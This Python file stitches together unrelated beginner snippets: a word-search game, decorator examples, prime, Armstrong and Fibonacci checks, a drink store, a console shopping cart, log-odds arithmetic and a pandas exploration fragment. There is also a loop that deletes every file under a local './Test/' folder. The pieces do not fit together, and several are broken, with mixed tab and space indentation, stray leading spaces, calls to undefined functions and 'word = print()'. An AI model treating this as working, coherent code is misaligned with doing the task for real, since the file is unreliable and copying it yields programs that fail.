#words_arr = ['Lewandowski', 'shed', 'tears', 'after', 'scoring', 'in', 'the', '82nd', 'minute.', 'He', 'raced', 'toward', 'the', 'corner', 'with', 'his', 'arms', 'outstretched,', 'then', 'stayed', 'slumped', 'on', 'the', 'field', 'as', 'teammates', 'rushed', 'to', 'congratulate', 'him.', 'He', 'got', 'up,', 'rubbed', 'his', 'face,', 'and', 'blew', 'a', 'kiss', 'to', 'the', 'crowd.', 'Today', 'everything', 'I', 'had', 'inside,', 'the', 'dreams,', 'the', 'importance', 'of', 'the', 'occasion,', 'all', 'those', 'dreams', 'from', 'my', 'childhood', 'came', 'through,', 'Lewandowski', 'said.', 'It', 'was', 'so', "significant.''One", 'of', 'the', 'best', 'forwards', 'in', 'the', 'world,', "Lewandowski's", 'barren', 'streak', 'at', 'the', 'World', 'Cup', 'was', 'somewhat', 'puzzling.', 'Now,', 'in', 'his', 'fifth', 'match', 'at', 'the', 'tournament,', "it's", 'over.', 'I', 'always', 'wanted', 'to', 'score', 'at', 'the', 'World', 'Cup', 'and', 'this', 'dream', 'came', "true,''", 'said', 'Lewandowski,', 'who', 'had', 'a', 'penalty', 'saved', 'in', "Poland's", '0-0', 'draw', 'with', 'Mexico', 'on', 'Tuesday.', "``It's", 'not', 'easy,', 'because', 'we', "didn't", 'have', 'many', 'opportunities', 'in', 'the', 'first', 'match', 'and', 'I', 'missed', 'that', "penalty.''Against", 'Saudi', 'Arabia,', 'Lewandowski', 'also', 'set', 'up', 'the', 'opener', 'in', 'the', '40th', 'minute', 'when', 'he', 'kept', 'the', 'ball', 'in', 'play', 'after', 'goalkeeper', 'Mohammed', "Al-Owais'", 'initial', 'block,', 'then', 'laid', 'it', 'back', 'for', 'Piotr', 'Zielinski', 'to', 'knock', 'in.', 'Lewandowski,', 'who', 'had', 'no', 'involvement', 'in', 'any', 'goals', 'in', 'his', 'first', 'four', 'World', 'Cup', 'games,', 'also', 'hit', 'the', 'post,', 'and', 'Al-Owais', 'later', 'denied', 'the', 'Barcelona', 'player', 'from', 'scoring', 'another', 'goal', 'toward', 'the', 'end', 'of', 'the', 'match.', 'It', 'was', 'the', 'one', 'that', 'went', 'in', 'that', 'brought', 'tears', 'to', 'the', '34-year-old', "striker's", 'eyes.', 'The', 'older', 'I', 'get,', 'the', 'more', 'emotional', 'I', "get,''", 'Lewandowski', 'said,', 'referring', 'to', 'his', 'reaction', 'after', 'finally', 'scoring.', "``I'm", 'aware', 'that', 'when', 'it', 'comes', 'to', 'the', 'World', 'Cup,', 'that', 'this', 'might', 'be', 'my', 'last', 'World', 'Cup.', 'And', 'I', 'wanted', 'to', 'underline', 'that', 'I', 'played', 'at', 'World', 'Cups', 'and', 'I', "scored.''Poland", 'coach', 'Czeslaw', 'Michniewicz', 'said', 'he', "wasn't", 'surprised', 'by', "Lewandowski's", 'moving', 'reaction.', 'I', 'know', 'how', 'deeply', 'he', 'lived', 'the', 'last', "match,''", 'Michniewicz', 'said.', "``I'm", 'very', 'sorry', 'he', "wasn't", 'lucky', 'enough,', 'he', 'hit', 'the', 'post', 'and', 'the', 'goalkeeper', 'made', 'a', 'save.', 'He', 'could', 'have', 'had', 'a', 'hat', 'trick', "today.''Poland", 'was', 'scrambling', 'for', 'long', 'periods', 'at', 'the', 'Education', 'City', 'Stadium', 'as', 'the', 'Saudi', 'team', 'was', 'pushed', 'forward', 'by', 'enthusiastic', 'fans', 'in', 'what', 'seemed', 'like', 'a', 'home', 'game.', 'The', 'frustration', 'was', 'clear', 'on', "Lewandowski's", 'face', 'as', "Poland's", 'yellow', 'cards', 'mounted.', 'Saudi', 'Arabia', 'had', 'a', 'chance', 'to', 'equalize', 'at', 'the', 'end', 'of', 'the', 'first', 'half', 'but', 'Poland', 'goalkeeper', 'Wojciech', 'Szczesny', 'saved', 'Salem', "Al-Dawsari's", 'penalty', 'kick.', 'He', 'then', 'blocked', 'Mohammed', "Al-Burayk's", 'shot', 'from', 'the', 'rebound.']
words_arr = ['Afghanistan', 'Albania', 'Algeria', 'Andorra', 'Angola', 'Argentina', 'Armenia', 'Australia', 'Austria', 'Azerbaijan', 'Bahrain', 'Bangladesh', 'Barbados', 'Belarus', 'Belgium', 'Belize', 'Benin', 'Bhutan', 'Bolivia', 'Botswana', 'Brazil', 'Brunei', 'Bulgaria', 'Burkina', 'Faso', 'Burundi', 'Cabo', 'Cambodia', 'Cameroon', 'Canada', 'Chad', 'Chile', 'China', 'Colombia', 'Comoros', 'Congo', 'Croatia', 'Cuba', 'Cyprus', 'Czech', 'Republic', 'Denmark', 'Djibouti', 'Dominica', 'Ecuador', 'Egypt', 'Salvador', 'Eritrea', 'Estonia', 'Eswatini', 'Ethiopia', 'Fiji', 'Finland', 'France', 'Gabon', 'Georgia', 'Germany', 'Ghana', 'Greece', 'Grenada', 'Guatemala', 'Guinea', 'Guyana', 'Haiti', 'Honduras', 'Hungary', 'Iceland', 'India', 'Indonesia', 'Iran', 'Iraq', 'Ireland', 'Italy', 'Jamaica', 'Japan', 'Jordan', 'Kazakhstan', 'Kenya', 'Kiribati', 'Kosovo', 'Kuwait', 'Kyrgyzstan', 'Laos', 'Latvia', 'Lebanon', 'Lesotho', 'Liberia', 'Libya', 'Liechtenstein', 'Lithuania', 'Luxembourg', 'Madagascar', 'Malawi', 'Malaysia', 'Maldives', 'Mali', 'Malta', 'Mauritania', 'Mauritius', 'Mexico', 'Moldova', 'Monaco', 'Mongolia', 'Montenegro', 'Morocco', 'Mozambique', 'Namibia', 'Nauru', 'Nepal', 'Netherlands', 'Zealand', 'Nicaragua', 'Niger', 'Nigeria', 'Norway', 'Oman', 'Pakistan', 'Palau', 'Panama', 'Paraguay', 'Peru', 'Philippines', 'Poland', 'Portugal', 'Qatar', 'Romania', 'Russia', 'Rwanda', 'Samoa', 'Senegal', 'Serbia', 'Seychelles', 'Singapore', 'Slovakia', 'Slovenia', 'Somalia', 'Spain', 'Sudan', 'Suriname', 'Sweden', 'Switzerland', 'Syria', 'Taiwan', 'Tajikistan', 'Tanzania', 'Thailand', 'Togo', 'Tonga', 'Tunisia', 'Turkey', 'Turkmenistan', 'Tuvalu', 'Uganda', 'Ukraine', 'Uruguay', 'Uzbekistan', 'Vanuatu', 'Vatican', 'Venezuela', 'Vietnam', 'Yemen', 'Zambia', 'Zimbabwe']
arr1 = [' ' , ' ' , " " , " " , " " , " " , " " , " " , " " , " " , " " , " " , " "]
word1 = "word1"
word2 = "word2"
word3 = "word3"
score = 0
print("spot the hidden words\n\n")

arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
hidden_vertical_words_arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
hidden_horizontal_words_arr = [[' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '], [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']]
arr_rows = 7
arr_columns = 7
count = 0
player_answers = "right"
while (1):
    i_indices = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
    for i in range(0,6) :
        random_number = random.randint(1,2)
        count = 0
        if random_number == 0 :
            count = diagonal_word()
        #elif random_number == 1 :
        if i%2 == 0:
            count = vertical_word(count,i)
        else :
            count = horizontal_word(count,i)
        if count == -1 :
            clear_array()
            break
        #print(count)
        #print(count , " ", end = "")
    if count == -1 :
        continue 
    #else :
        #print(" ")
        #print("array completed")
    #complete_array()
    c = 1
    print(" "," "," ",end = "")
    for i in range(0,arr_columns):
        if (hidden_vertical_words_arr[3][i] != " " or hidden_vertical_words_arr[6][i] != " "):
            print(c," ",end = "")
            c += 1
        else :
            print(" "," ",end = "")
    print()
    print(" "," "," ",end = "")
    for i in range(0,arr_columns):
        if (hidden_vertical_words_arr[3][i] != " " or hidden_vertical_words_arr[6][i] != " "):
            print("v"," ",end = "")
        else :
            print(" "," ",end = "")
    print()
    for i in range(0,arr_rows):
        if (hidden_horizontal_words_arr[i][3] != " " or hidden_horizontal_words_arr[6][i] != " "):
            print(c,">"," ",end = "")
            c += 1
        else :
            print(" "," "," ",end = "")
        for j in range(0,arr_columns):
            if arr[i][j] == " " :
                print(arr[i][j]," ",end = "")
            else:
                print("_"," ",end = "")
        print()
    print()
    begin_time = time.time()
    for i in range(0,6):
        word = print()
    if (time.time() - begin_time < 1 and player_answers == "right"):
        score += 4
        print(" ")
        print("   ")
        print()
    else:
        print(f"your score is {score}")
        print("hidden words were:\n\n")
        for i in range(0,arr_rows):
            for j in range(0,arr_columns):
                print(arr[i][j]," ",end = "")
            print()
        print(arr1)
        player_answers = "right"
        break
    clear_array()
def my_decorator(func):
    def wrapper():
        func()
		func()

    return wrapper
def my_decorator(func):
    def wrapper():
        print("I'm before the method call")
        func()
        print("I'm after the method call")
    
    return wrapper
n=5
s=0
for i in range(1,n+1):
    # adding cube sum using pow() function
    s=s+pow(i,3)
print(s)   
def prime(x, y):
    prime_list = []
    for i in range(x, y):
        if i == 0 or i == 1:
            continue
        else:
            for j in range(2, int(i/2)+1):
                if i % j == 0:
                    break
            else:
                prime_list.append(i)
    return prime_list
 starting_range = 2
ending_range = 7
lst = prime(starting_range, ending_range)
if len(lst) == 0:
    print("There are no prime numbers in this range")
else:
    print("The prime numbers in this range are: ", lst)
def findArea(r):
    PI = 3.142
    return PI * (r*r);
 
# Driver method
print("Area is %.6f" % findArea(5));
def power(x, y):
     
    if y == 0:
        return 1
    if y % 2 == 0:
        return power(x, y // 2) * power(x, y // 2)
         
    return x * power(x, y // 2) * power(x, y // 2)
 
def order(x):
 
    # Variable to store of the number
    n = 0
    while (x != 0):
        n = n + 1
        x = x // 10
         
    return n
 
def isArmstrong(x):
     
    n = order(x)
    temp = x
    sum1 = 0
     
    while (temp != 0):
        r = temp % 10
        sum1 = sum1 + power(r, n)
        temp = temp // 10
 
    # If condition satisfies
    return (sum1 == x)
 
# Driver code
x = 153
print(isArmstrong(x))
 
x = 1253
print(isArmstrong(x))
import math 
 
def isPerfectSquare(x):
    s = int(math.sqrt(x))
    return s*s == x
 
 
def isFibonacci(n):
 
    # n is Fibonacci if one of 5*n*n + 4 or 5*n*n - 4 or both
    # is a perfect square
    return isPerfectSquare(5*n*n + 4) or isPerfectSquare(5*n*n - 4)
 
 for i in range(1, 11):
    if (isFibonacci(i) == True):
        print(i, "is a Fibonacci Number")
    else:
        print(i, "is a not Fibonacci Number ")
for dirpath, dirnames, filenames in os.walk("./Test/"):
    # Remove regular files, ignore directories
    for filename in filenames:
        os.unlink(os.path.join(dirpath, filename))
price = {"Lemonade": 1.50, "Coke": 2.00, "Fanta": 1.00, "Water": 0.50}
shopping_basket = {}

print("Welcome to the online drink store!\nThese are the drinks we offer.\n1. Lemonade: £1.50\n2. Coke: £2.00\n3. Fanta £1.00\n4. Water: £0.50\n")

buy_another_flag = 1
total_cost, total = 0, 0

while buy_another_flag != 0:
    option = int(input("Which drink would you like to purchase?: "))

    if option == 1:
        qnty = int(input("Enter the quantity: "))
        total = qnty * 1.50
        print("The price is: " + str(total))
    elif option == 2:
        qnty = int(input("Enter the quantity: "))
        total = qnty * 2.00
        print("The price is: " + str(total))
    elif option == 3:
        qnty = int(input("Enter the quantity: "))
        total = qnty * 1.00
        print("The price is: " + str(total))
    elif option == 4:
        qnty = int(input("Enter the quantity: "))
        total = qnty * 0.50
        print("The price is: " + str(total))

    total_cost += total

    buy_another_flag = int(input("Would you like another item? enter Yes (1) or No (0):"))

print("The total price of your basket is: ", total_cost)
### Initialization Process ###

# Creating Item Database #

import weakref
# Module for process involved with displaying all items available. Not sure what it is or does but it works...

class Item(object):
    items = []
    # Ignore. Empty list for displaying all items available. 

    def __init__(self, itemname, itemprice):
        self.__class__.items.append(weakref.proxy(self))
        self.itemname = itemname
        self.itemprice = itemprice
    # For defining new items; takes name of item and its price.

    def GetItemName(self):
        return self.itemname
    # To get the name of a specific item

    def GetItemPrice(self):
        return self.itemprice
    # To get the price of a specific item.

    def ChangeItemPrice(self, newprice):
        self.itemprice = newprice
    # To change price of a specific item.

# Creating Cart Class #

class Cart(dict): 
    """cart dict format:  {itemname:[price,number]}"""
    def ShowCart(self):
        return self
    # To define user's cart.

# Creating Customer's Shopping Account #

class Customer(object):
    """Produces an objects that represent customers."""

    def __init__(self, customer_name, customer_id):   
        self.customer_name = customer_name
        self.customer_id = customer_id
        self.cartlist = {}
        self.cartlist[0] = Cart()
    # For defining new customers; takes person's name and id.

    def AddCart(self):
        self.cartlist[len(self.cartlist)] = Cart()
    # To create a new cart.

    def GetCart(self, cartindex = 0):
        return self.cartlist[cartindex]
    # To get a cart.

    def BuyItem(self, item, itemnum, cartindex = 0):
        try:
            self.cartlist[cartindex][item.GetItemName()][1] += itemnum
        except:
            self.cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})
    # Process of buying an item

    def BuyCancle(self, item, itemnum, cartindex = 0):
        try:
            self.cartlist[cartindex][item.GetItemName()][1] -= itemnum
        except:
            self.cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})
    # Process of cancelling buying an item
    
    def CheckOut(self):
        global order_history
        order_history = []
        items_bought = []
        for item in self.cartlist:
            items_bought.append(self.cartlist[item])
        #self.cartlist = {} --> removed due to bug
        print("Items bought were:", items_bought)
        print("\nFormat to read bill is: [{'item_name': [unit price (USD), quantity]}]")
        order_history.append(items_bought)
        items_bought = []
    # To 'buy' the items and therefore reset the cart and add into order history.
    
    def ViewOrderHistory(self):
        print("Full history of items bought is:\n", order_history)
        print("\nFormat to read bill is: [[{'item_name': [unit price (USD), quantity]}]]")
    # To view the order history of items bought from all checkouts.

# Initializing Item Database #
# Format: name = Item('name', price)

Apple = Item('Apple', 7.8)
Pear = Item('Pear', 5)  

# Initializing Store For Item Database #

def ShowItems():
    for item in Item.items:
        print("Item name:", item.itemname, "| Item price: $", item.itemprice, "USD")
# Above code is to display all items available.

# User Agreement Function #

def okay():
    okay = input("\n\nType 'okay' to continue: ")
    print("")
# Function that simply asks for a filler user input before proceeding to the code after it.
    
# User Add Item Loop Function #

def add_item_to_cart_function():
    error_count = -1
    while True:
        error_count += 1
        if error_count > 0:
            print("\nERROR: The item you input is not in our catalogue. Choose only one of specific items from our inventory, or make sure the input is case sensitive.\n")
        item_wanted = str(input("Enter the item you would like to add to the cart: "))
        # Asks for user input for item desired.
        global item_wanted_variable
        item_wanted_variable = item_wanted
        item_search = globals()
        if item_wanted_variable in item_search:
            try:
                item_wanted_confirmed = item_search[item_wanted_variable]
                break
            except UnboundLocalError:
                continue
    # Used to troubleshoot class attribution error where item_wanted was a string class and could not be identified as an item. Essentially takes item_wanted and its string class, and finds a variable in this code with the same name, and then goes from there.
    qnty_wanted = int(input("Enter the quantity of the item you would like to purchase: "))
    # Asks for user input for item quantity desired.
    customer_name.BuyItem(item_wanted_confirmed, qnty_wanted, cart_num)
    print("\nYou are adding", qnty_wanted, item_wanted, "s for", item_wanted_confirmed.itemprice, "each.")
    okay()
    print("")
    print(customer_name.customer_name, "'s Cart", cart_num, "has: %s" % customer_name.GetCart(cart_num))
    print("\nFormat to read cart is: {'item_name': [unit price (USD), quantity]}")
    # Adds the item and quantity to the cart under the iteration.

# User Remove Item Loop Function #

def remove_item_from_cart_function():
    error_count = -1
    while True:
        error_count += 1
        if error_count > 0:
            print("\nERROR: The item you input is not in our catalogue. Choose only one of specific items from our inventory, or make sure the input is case sensitive.\n")
        cart_num_for_removal = int(input("Enter the cart number of which you are referencing here: "))
        # Asks for user input for cart being referenced.
        item_removed = str(input("Enter the name of item you would like to remove from the cart: "))
        # Asks for user input for item removal desired.
        global item_removed_variable
        item_removed_variable = item_removed
        item_search = globals()
        if item_removed_variable in item_search:
            try:
                item_removed_variable = item_search[item_removed_variable]
                break
            except UnboundLocalError:
                continue
    # Used to troubleshoot class attribution error where item_wanted was a string class and could not be identified as an item. Essentially takes item_wanted and its string class, and finds a variable in this code with the same name, and then goes from there.
    qnty_removed = int(input("Enter the quantity of the item you would like to have removed: "))
    # Asks for user input for item quantity desired.
    customer_name.BuyCancle(item_removed_variable, qnty_removed, cart_num_for_removal)
    print("\nYou are removing", qnty_removed, item_removed, "s in Cart", cart_num_for_removal)
    okay()
    print("")
    print(customer_name.customer_name, "'s Cart", cart_num_for_removal, "now has: %s" % customer_name.GetCart(cart_num_for_removal))
    print("\nFormat to read cart is: {'item_name': [unit price (USD), quantity]}")
    print("\nIf an item is 0 in quantity, consider it fully removed from the cart.\n")
    # Removes the item and quantity in the cart specified.


### UI Functioning Process ###

# User Input Warning #

print("**Program Note:**\n\nAll user inputs are CASE SENSITIVE. When typing a response given a set of options, please make sure input is case sensitive to the option. Furthermore, in the following program, at some point you may be required to enter the name of an 'item'. When prompted so, please make sure the name of the item is Title Case.\n\n")

print("-----\n\n")

# Initial Greeting #

print("Welcome to Shivam's online wholesale all-purpose store! Everything and anything is offered here in all sorts of ranges. Enjoy shopping here, and follow the steps appropriately for the best service.")

# Shop Function #

import sys
# Module that implements usage of a 'main menu' to make things easier.

from random import randint
# Module that was used for generating random user ID.

def MainMenu():
    while True:
        try:
            option = int(input("""\n-----\n
Select a number for the action that you would like to do (it is recommended to go in respective ascending order):\n
            1. Create your customer shopping account
            2. View all items available for purchase
            3. Add items to a shopping cart
            4. Proceed to checkout
            5. View past order history
            6. Exit shopping session
            \nEnter Your Choice: """))
            
            # Asks user to choose one of the numbers to continue on to the specified option.
        
        except ValueError:
            print("\nERROR: You did not make a valid selection. Choose only one of the digits from the given options.")
            continue
        
            # In the case that user enters an incorrect input; restarts the loop and asks again.
        
        else:
            if option == 1:
                print("\nHello! Let's create your shopping account. A few details will be needed, and there will be a few fewsmall things to note down.\n")
                confirming_response1 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response1 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    name = str(input("To create your account, we will need your name. Please enter it: "))
                    print("\nThank you. You're account will be under this name. Also, you'll need an ID for the account, which is below:\n")
                    random_id = randint(1111, 9999)
                    print(str(random_id))
                    print("\nIt'll be helpful to remember these for your own use once we obtain a log-in system. For now, though, this information will serve helpful for us to keep track of your account.\n")
                    global customer_name
                    customer_name = name
                    customer_name = Customer(customer_name, random_id)
                    print("\nThe following confirms your account:\n")
                    print(customer_name.customer_name)
                    print(customer_name.customer_id)
                    okay()
                    print("\nAll right! So your account is now created. You can use this to continue on with your shopping process.")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            if option == 2:
                print("\nHello! So you would like to see what we have to offer? No problem!\n")
                confirming_response2 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response2 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("We have a growing inventory of items to offer. You don't need to worry about the stock at the moment; we have more than you can count. Anyway, below is a list of the current inventory of items and unit prices (USD) for each:\n\n")
                    ShowItems()
                    print("\n\nThose are our concurrent items available for you to buy. Hopefully something catches your eye. Remember these items, as you'll want the full list when moving onto the buying process!")
                    okay()
                    print("\nAll right! So you're ready now. You can use this list later on in the shopping process.")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            elif option == 3:
                print("\nHello! So you would like add items to your cart? No problem, let's get you through the process!\n")
                confirming_response3 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response3 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    exit_loop = 0
                    global cart_num
                    cart_num = 0
                    while exit_loop == 0:
                        print("If you have not already seen, we have a growing inventory of items to offer. Keep in mind a specific item (or items) you would like to purchase.\n")
                        print("First off, before buying, you'll need to obtain a shopping cart. Luckily, this is virtual, and we'll create a digital shopping cart for you. If this is not your first time going through this process, a new cart defined by the next ascending natural number will be made.")
                        okay()
                        customer_name.AddCart()
                        cart_num += 1
                        print("\nAll right! A new cart has been created. You may now move on to the adding process.\n")
                        print("\nSo, let's add some of the items you would like.\n")
                        exit_item_buying_loop = 0
                        while exit_item_buying_loop == 0:
                            add_item_to_cart_function()
                            exit_item_bl_prompt = int(input("\nIf you are done adding items to the cart, then type '1'. Else, if you want to keep adding items, type '0': "))
                            if exit_item_bl_prompt == 1:
                                break
                            else:
                                continue
                        print("\nThank you for adding items to your cart; that completes this session. Hopefully you got everything you wanted.")
                        okay()
                        print("\nAll right! So that was Cart %s.\n" % cart_num)
                        exit_loop_prompt = int(input("Do you want to make a new session with a new cart and buy more items again? Or do you simply wish to continue back to the menu? Type '1' if you wish to exit back to the menu, and type '0' if you wish to start another session: "))
                        if exit_loop_prompt == 1:
                            print("\nOkay! Enough of the shopping spree, back to the main menu it is!\n")
                            break
                        else:
                            print("\nOkay! Continue the shopping spree!\n")
                            continue
                        continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            elif option == 4:
                print("\nHello! So you would like to proceed to checkout? No problem! Hopefully you have something in your cart(s).\n")
                confirming_response4 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response4 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("\nBelow is your full bill, which accounts every cart you had and the quantity of items in each. Read it carefully before proceeding.\n\n")
                    customer_name.CheckOut()
                    okay()
                    print("\nNow, this is your opportunity to cancel any orders of the items you bought and remove them from the bill.\n")
                    bill_prompt = str(input("Would you like to remove anything?\nYes or No: "))
                    if bill_prompt == "Yes":
                        print("\nAll right! We'll undergo the process of removing certain items.\n")
                        print("So, let's remove some of the items you would like.\n")
                        exit_item_removing_loop = 0
                        while exit_item_removing_loop == 0:
                            remove_item_from_cart_function()
                            exit_item_rl_prompt = int(input("\nIf you are done removing items from the cart(s), then type '1'. Else, if you want to keep removing items, type '0': "))
                            if exit_item_rl_prompt == 1:
                                break
                            else:
                                continue
                    else:
                        print("\nNo? Okay! Let the process continue.\n")
                    print("\nHere is your final bill:")
                    customer_name.CheckOut()
                    okay()
                    print("\nVery well! So you've checked out your items now. You can either repeat the process and explore further or go see your order history if you have checked out several times.\n")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
            
            elif option == 5:
                print("\nHello! Want to see your order history? Okay!\n")
                confirming_response5 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response5 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("\nAssuming you have bought items recently, below is your order history:\n\n")
                    customer_name.ViewOrderHistory()
                    print("\n\nThere's your order history! There's nothing very special you can do with it, apart from totalling up everything you have bought.")
                    okay()
                    print("\nVery well then. At this point, you can either go back and explore the store again or you can visit the main menu and leave the store.\n")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue

            elif option == 6:
                confirming_response6 = input("\n\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response6 == 'Yes':
                    print("\n\nLeaving already? All right! Thank you for shopping here at Shivam's online wholesale all-purpose store. Hope to see you again soon!")
                    okay()
                    sys.exit()
                    # Forcefully turns off the function and stops the code. 
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue

# Running Code Process #

MainMenu()

# Runs function MainMenu() aka the whole code.


### Testing And Miscellaneous ###

# No testing left.

# Future Work Notes #

"""
* Implement log-in/log-out systems possibly and make it so there can be several accounts running at the same time.

* Implement subclasses of items (i.e. food, appliances).
"""
# Log-odd is the Logit intercept 
log_odd = -0.473288 
print(f"log_odd = -0.473288 ")

# Calculation odds -> compute e-function on the logit using exp() “de-logarithimize”
odds = np.exp(log_odd)
print(f'odds = {odds}  Round:{round(odds, 2)}')

# To convert from odds to a probability, divide the odds by one plus the odds.
prob = odds / (1 + odds)
print(f'prob = {prob} Round:{round(prob, 2)}')
# Setup a range from 1% probability to 100% probability
p = np.arange(0.01, 1, 0.005)
print('Probabilities: ', p[0:2],  p[-2:])

# Convert probabilities to odds 0.01 / (1-0.01) <=> (0.99)
odds = p / (1-p)
print('Odds: ', odds[0:2], odds[-2:])

# Get the natural log of those odds
log_odds = np.log(odds)
print('Log Odds: ', log_odds[0:2], log_odds[-2:])
%load_ext autoreload
%autoreload 2
# Import modules 
import pandas as pd
import numpy as np 
import seaborn as sns
import matplotlib.pyplot as plt

# Load df
df = pd.read_csv('filepath.csv')
df

#Exploratory Data Analysis with SweetViz
import sweetviz as sv
analyze_report = sv.analyze(df)
analyze_report.show_html('report.html', open_browser=False)

# Generate Heat Map, could be loaded after standardisation of variables.
%config InlineBackend.figure_format = 'retina'
plt.figure(figsize = (10, 10))

